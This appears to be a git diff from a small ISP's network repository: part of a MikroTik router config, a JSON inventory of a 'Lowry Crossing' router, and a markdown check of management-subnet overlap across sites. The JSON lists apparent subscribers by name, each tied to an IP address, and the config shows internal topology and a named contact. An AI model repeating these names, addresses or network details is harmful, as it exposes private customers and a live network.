src-address=10.0.16.0/22
|
||||||
|
add action=masquerade chain=srcnat out-interface=ether6-tmobile \
|
||||||
|
src-address-list=!iot-blocked
|
||||||
|
add action=masquerade chain=srcnat out-interface=ether5-vntx-static \
|
||||||
|
to-addresses=204.110.191.1
|
||||||
|
add action=dst-nat chain=dstnat comment=channels dst-address=204.110.191.1 \
|
||||||
|
dst-port=8089 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
|
||||||
|
10.0.16.1 to-ports=8089
|
||||||
|
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
|
||||||
|
dst-port=32400 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
|
||||||
|
10.0.16.1 to-ports=32400
|
||||||
|
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
|
||||||
|
dst-port=58732 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
|
||||||
|
10.0.16.184 to-ports=58732
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=8096 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
|
||||||
|
to-ports=8096
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=tcp \
|
||||||
|
to-addresses=10.0.16.1 to-ports=25565
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=udp \
|
||||||
|
to-addresses=10.0.16.1 to-ports=25565
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=8920 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
|
||||||
|
to-ports=8920
|
||||||
|
add action=masquerade chain=srcnat disabled=yes src-address=172.17.0.0/24
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=10.0.19.254 \
|
||||||
|
dst-port=8080 protocol=tcp to-addresses=172.17.0.2 to-ports=80
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=51413 protocol=tcp to-addresses=10.0.16.1 to-ports=51413
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=51413 protocol=udp to-addresses=10.0.16.1 to-ports=51413
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=8096 protocol=tcp to-addresses=10.0.16.1 to-ports=8096
|
||||||
|
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||||
|
dst-port=8920 protocol=tcp to-addresses=10.0.16.1 to-ports=8920
|
||||||
|
add action=masquerade chain=srcnat src-address=172.17.0.0/24
|
||||||
|
add action=masquerade chain=srcnat out-interface=ether7-starlink
|
||||||
|
/ip proxy
|
||||||
|
set port=8198 src-address=10.0.19.254
|
||||||
|
/ip route
|
||||||
|
add disabled=yes distance=1 dst-address=100.64.0.0/10 gateway=172.17.0.2 \
|
||||||
|
pref-src="" routing-table=main scope=30 target-scope=10
|
||||||
|
add comment="eweka > starlink" disabled=yes distance=1 dst-address=\
|
||||||
|
185.90.196.0/22 gateway=192.168.1.1 pref-src="" routing-table=main scope=\
|
||||||
|
30 target-scope=10
|
||||||
|
add comment="eweka > tmo" disabled=yes distance=1 dst-address=81.171.92.0/23 \
|
||||||
|
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
|
||||||
|
target-scope=10
|
||||||
|
add comment="newshosting > tmo" disabled=no distance=1 dst-address=\
|
||||||
|
85.12.62.0/24 gateway=192.168.12.1 pref-src="" routing-table=main scope=\
|
||||||
|
30 target-scope=10
|
||||||
|
add comment="eweka > tmo" disabled=yes distance=1 dst-address=185.90.196.0/22 \
|
||||||
|
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
|
||||||
|
target-scope=10
|
||||||
|
add disabled=no distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
|
||||||
|
pref-src="" routing-table=main scope=30 target-scope=10
|
||||||
|
add disabled=yes distance=1 dst-address=204.110.188.0/22 gateway=\
|
||||||
|
204.110.191.30 routing-table=main scope=30 target-scope=10
|
||||||
|
add disabled=yes distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
|
||||||
|
routing-table=main scope=30 target-scope=10
|
||||||
|
add disabled=yes distance=1 dst-address=82.68.15.22/32 gateway=204.110.191.30 \
|
||||||
|
routing-table=main scope=30 target-scope=10
|
||||||
|
add disabled=yes distance=1 dst-address=34.174.59.248/32 gateway=\
|
||||||
|
204.110.191.30 routing-table=main scope=30 target-scope=10
|
||||||
|
add disabled=no dst-address=204.110.188.0/22 gateway=204.110.191.30 \
|
||||||
|
routing-table=main
|
||||||
|
add disabled=no dst-address=100.64.0.0/16 gateway=204.110.191.30 \
|
||||||
|
routing-table=main
|
||||||
|
add disabled=no dst-address=10.43.0.0/16 gateway=204.110.191.2 routing-table=\
|
||||||
|
main
|
||||||
|
add comment=wigle.net disabled=no distance=1 dst-address=54.70.85.50/32 \
|
||||||
|
gateway=204.110.191.30 routing-table=main scope=30 target-scope=10
|
||||||
|
add dst-address=100.64.0.0/10 gateway=172.17.0.2
|
||||||
|
add check-gateway=ping comment="TMO internet probe" dst-address=4.2.2.1/32 \
|
||||||
|
gateway=192.168.12.1 scope=10
|
||||||
|
add check-gateway=ping comment="VNTX internet probe" dst-address=4.2.2.2/32 \
|
||||||
|
gateway=204.110.191.30 scope=10
|
||||||
|
add check-gateway=ping comment="Starlink internet probe" dst-address=\
|
||||||
|
4.2.2.3/32 gateway=192.168.1.1 scope=10
|
||||||
|
add comment="Default via TMO (primary)" distance=1 dst-address=0.0.0.0/0 \
|
||||||
|
gateway=4.2.2.1 target-scope=11
|
||||||
|
add comment="Default via VNTX (secondary)" distance=2 dst-address=0.0.0.0/0 \
|
||||||
|
gateway=4.2.2.2 target-scope=11
|
||||||
|
add comment="Default via Starlink (last resort)" distance=3 dst-address=\
|
||||||
|
0.0.0.0/0 gateway=4.2.2.3 target-scope=11
|
||||||
|
add comment="tmo table default" dst-address=0.0.0.0/0 gateway=192.168.12.1 \
|
||||||
|
routing-table=tmo
|
||||||
|
/ipv6 route
|
||||||
|
add distance=1 dst-address=2000::/3 gateway=2001:470:1f0e:299::1
|
||||||
|
/ip service
|
||||||
|
set ftp disabled=yes
|
||||||
|
set telnet disabled=yes
|
||||||
|
set www address=10.0.16.0/24 port=1080
|
||||||
|
set api disabled=yes
|
||||||
|
set api-ssl address=10.0.16.0/22 certificate=api-ssl-cert
|
||||||
|
/ip smb shares
|
||||||
|
set [ find default=yes ] disabled=no
|
||||||
|
/ip upnp
|
||||||
|
set enabled=yes
|
||||||
|
/ip upnp interfaces
|
||||||
|
add disabled=yes interface=ether6-tmobile type=external
|
||||||
|
add interface=*14 type=external
|
||||||
|
add interface=bridge type=internal
|
||||||
|
/ipv6 address
|
||||||
|
add address=2001:470:1f0e:299::2 advertise=no disabled=yes interface=*10
|
||||||
|
add address=2001:470:ba50::/48 advertise=no disabled=yes interface=bridge
|
||||||
|
add address=2001:470:1f0f:29a:: disabled=yes interface=bridge
|
||||||
|
/ipv6 dhcp-client
|
||||||
|
add disabled=yes interface=ether6-tmobile pool-name=tmo pool-prefix-length=64 \
|
||||||
|
request=address
|
||||||
|
add interface=ether7-starlink pool-name=starlink pool-prefix-length=64 \
|
||||||
|
request=address,prefix
|
||||||
|
/ipv6 nd
|
||||||
|
set [ find default=yes ] advertise-dns=yes
|
||||||
|
/routing rule
|
||||||
|
add action=lookup-only-in-table disabled=no dst-address=0.0.0.0/0 \
|
||||||
|
src-address=10.0.16.1 table=*400
|
||||||
|
/snmp
|
||||||
|
set contact="Graham McIntire" enabled=yes location=Verona
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=graham
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=ntp.vntx.net
|
||||||
|
/system routerboard settings
|
||||||
|
set auto-upgrade=yes
|
||||||
|
/tool e-mail
|
||||||
|
set certificate-verification=no from=mikrotik@vntx.net port=2525 server=\
|
||||||
|
mail.smtp2go.com tls=yes user=vntxmikrotik
|
||||||
|
/tool graphing interface
|
||||||
|
add allow-address=10.0.16.0/24
|
||||||
|
/tool graphing queue
|
||||||
|
add allow-address=10.0.16.0/24
|
||||||
|
/tool graphing resource
|
||||||
|
add allow-address=10.0.16.0/24
|
||||||
|
/tool mac-server
|
||||||
|
set allowed-interface-list=LAN
|
||||||
|
/tool mac-server mac-winbox
|
||||||
|
set allowed-interface-list=LAN
|
||||||
518
lowry_crossing_router_data.json
Normal file
518
lowry_crossing_router_data.json
Normal file
|
|
@ -0,0 +1,518 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.109",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2025-10-04T11:01:53.314352",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.254.254.109/32",
|
||||||
|
"network": "10.254.254.109",
|
||||||
|
"interface": "loopback",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.105/29",
|
||||||
|
"network": "10.250.1.104",
|
||||||
|
"interface": "ether1-newhope",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.159.254/20",
|
||||||
|
"network": "10.10.144.0",
|
||||||
|
"interface": "management",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.222/27",
|
||||||
|
"network": "204.110.188.192",
|
||||||
|
"interface": "lowrycrossing",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.201/29",
|
||||||
|
"network": "10.250.1.200",
|
||||||
|
"interface": "vlan_30_sfpplus1_380",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/20",
|
||||||
|
"network": "100.64.144.0",
|
||||||
|
"interface": "lowrycrossing",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "204.110.188.202",
|
||||||
|
"interface": "<pppoe-coyungemach>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.117",
|
||||||
|
"interface": "<pppoe-jenniferdunaway>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.122",
|
||||||
|
"interface": "<pppoe-williambowland>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.114",
|
||||||
|
"interface": "<pppoe-fredheckel>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.123",
|
||||||
|
"interface": "<pppoe-timfisher>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.111",
|
||||||
|
"interface": "<pppoe-dorisavalos>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.118",
|
||||||
|
"interface": "<pppoe-toniyoung>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.127",
|
||||||
|
"interface": "<pppoe-konradwoelffer>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "204.110.188.197",
|
||||||
|
"interface": "<pppoe-elizabethchristian>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.120",
|
||||||
|
"interface": "<pppoe-cynthiasandlin>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.119",
|
||||||
|
"interface": "<pppoe-thomasgraham>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "204.110.188.200",
|
||||||
|
"interface": "<pppoe-ronberger>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.125",
|
||||||
|
"interface": "<pppoe-abbieandrews>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.126",
|
||||||
|
"interface": "<pppoe-helenlumpkin>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.116",
|
||||||
|
"interface": "<pppoe-susanlewis>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.121",
|
||||||
|
"interface": "<pppoe-lanaygaunce>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "204.110.188.196",
|
||||||
|
"interface": "<pppoe-janiscable>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.115",
|
||||||
|
"interface": "<pppoe-nhumorrison>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.124",
|
||||||
|
"interface": "<pppoe-terrymiesen>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.107",
|
||||||
|
"interface": "<pppoe-nicholasterry>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "204.110.188.199",
|
||||||
|
"interface": "<pppoe-leonardlewis>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.113",
|
||||||
|
"interface": "<pppoe-mattbud>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.159.254/32",
|
||||||
|
"network": "100.64.158.112",
|
||||||
|
"interface": "<pppoe-georginacovarrubias>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "ether1-newhope",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E2:21",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether2 Lowry N",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E2:22",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether3",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E2:23",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether4",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E2:24",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E2:25",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-abbieandrews>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-coyungemach>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-cynthiasandlin>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-dorisavalos>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-elizabethchristian>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-fredheckel>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-georginacovarrubias>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-helenlumpkin>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-janiscable>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jenniferdunaway>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-konradwoelffer>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-lanaygaunce>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-leonardlewis>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mattbud>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-nhumorrison>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-nicholasterry>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ronberger>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-susanlewis>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-terrymiesen>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-thomasgraham>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-timfisher>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-toniyoung>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-williambowland>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "FA:36:F1:03:59:3F",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lowrycrossing",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "64:D1:54:D3:E2:1F",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "management",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "64:D1:54:D3:E2:1F",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether2",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E2:22",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether3",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E2:23",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether4",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E2:24",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether5",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E2:25",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether2",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether2 Lowry N"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether3",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether3"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether4",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether4"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether5",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether5"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether6",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether6"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether7",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether7"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_sfpplus1",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "sfp-sfpplus1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_20_sfpplus1_newhope",
|
||||||
|
"vlan_id": 20,
|
||||||
|
"interface": "sfp-sfpplus1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_30_sfpplus1_380",
|
||||||
|
"vlan_id": 30,
|
||||||
|
"interface": "sfp-sfpplus1"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": "lowrycrossing",
|
||||||
|
"interface": "lowrycrossing"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": []
|
||||||
|
}
|
||||||
82
management_subnet_analysis.md
Normal file
82
management_subnet_analysis.md
Normal file
|
|
@ -0,0 +1,82 @@
|
||||||
|
# Management Subnet Overlap Analysis
|
||||||
|
|
||||||
|
## Summary of Management Subnets by Site
|
||||||
|
|
||||||
|
### 1. **Climax** (10.254.254.102)
|
||||||
|
- **Management Subnet**: 10.10.31.254/20
|
||||||
|
- **Network**: 10.10.16.0/20
|
||||||
|
- **IP Range**: 10.10.16.0 - 10.10.31.255
|
||||||
|
- **Interface**: mgmt
|
||||||
|
|
||||||
|
### 2. **Culleoka** (10.254.254.104)
|
||||||
|
- **Management Subnet**: 10.10.111.254/20
|
||||||
|
- **Network**: 10.10.96.0/20
|
||||||
|
- **IP Range**: 10.10.96.0 - 10.10.111.255
|
||||||
|
- **Interface**: vlan10_ether2
|
||||||
|
|
||||||
|
### 3. **494 Site** (10.254.254.111)
|
||||||
|
- **Management Subnet**: 10.10.175.254/20
|
||||||
|
- **Network**: 10.10.160.0/20
|
||||||
|
- **IP Range**: 10.10.160.0 - 10.10.175.255
|
||||||
|
- **Interface**: management
|
||||||
|
|
||||||
|
### 4. **982 Site** (10.254.254.110)
|
||||||
|
- **Management Subnet**: 10.10.63.254/20
|
||||||
|
- **Network**: 10.10.48.0/20
|
||||||
|
- **IP Range**: 10.10.48.0 - 10.10.63.255
|
||||||
|
- **Interface**: mgmt
|
||||||
|
|
||||||
|
### 5. **New Hope** (10.254.254.108)
|
||||||
|
- **Management Subnet**: 10.10.143.254/20
|
||||||
|
- **Network**: 10.10.128.0/20
|
||||||
|
- **IP Range**: 10.10.128.0 - 10.10.143.255
|
||||||
|
- **Interface**: bridge_cpe_mgmt
|
||||||
|
|
||||||
|
### 6. **Lowry Crossing** (10.254.254.109)
|
||||||
|
- **Management Subnet**: 10.10.159.254/20
|
||||||
|
- **Network**: 10.10.144.0/20
|
||||||
|
- **IP Range**: 10.10.144.0 - 10.10.159.255
|
||||||
|
- **Interface**: management
|
||||||
|
|
||||||
|
### 7. **380 Core** (10.254.254.253)
|
||||||
|
- **Management Subnet**: 10.10.79.254/20
|
||||||
|
- **Network**: 10.10.64.0/20
|
||||||
|
- **IP Range**: 10.10.64.0 - 10.10.79.255
|
||||||
|
- **Interface**: vlan10_combo1
|
||||||
|
|
||||||
|
### 8. **380 Edge** (10.254.254.254)
|
||||||
|
- **No management subnet in the 10.10.x.x range**
|
||||||
|
|
||||||
|
## Overlap Analysis
|
||||||
|
|
||||||
|
### ✅ **NO OVERLAPS DETECTED**
|
||||||
|
|
||||||
|
All sites use different /20 management subnets within the 10.10.0.0/16 range:
|
||||||
|
|
||||||
|
1. **10.10.16.0/20** - Climax
|
||||||
|
2. **10.10.48.0/20** - 982 Site
|
||||||
|
3. **10.10.64.0/20** - 380 Core
|
||||||
|
4. **10.10.96.0/20** - Culleoka
|
||||||
|
5. **10.10.128.0/20** - New Hope
|
||||||
|
6. **10.10.144.0/20** - Lowry Crossing
|
||||||
|
7. **10.10.160.0/20** - 494 Site
|
||||||
|
|
||||||
|
## Key Observations
|
||||||
|
|
||||||
|
1. **Consistent Subnet Size**: All management networks use /20 subnets (4,096 addresses each)
|
||||||
|
2. **Sequential Allocation**: The subnets appear to be allocated sequentially within the 10.10.0.0/16 space
|
||||||
|
3. **Common VLAN**: Most sites use VLAN 10 for management traffic
|
||||||
|
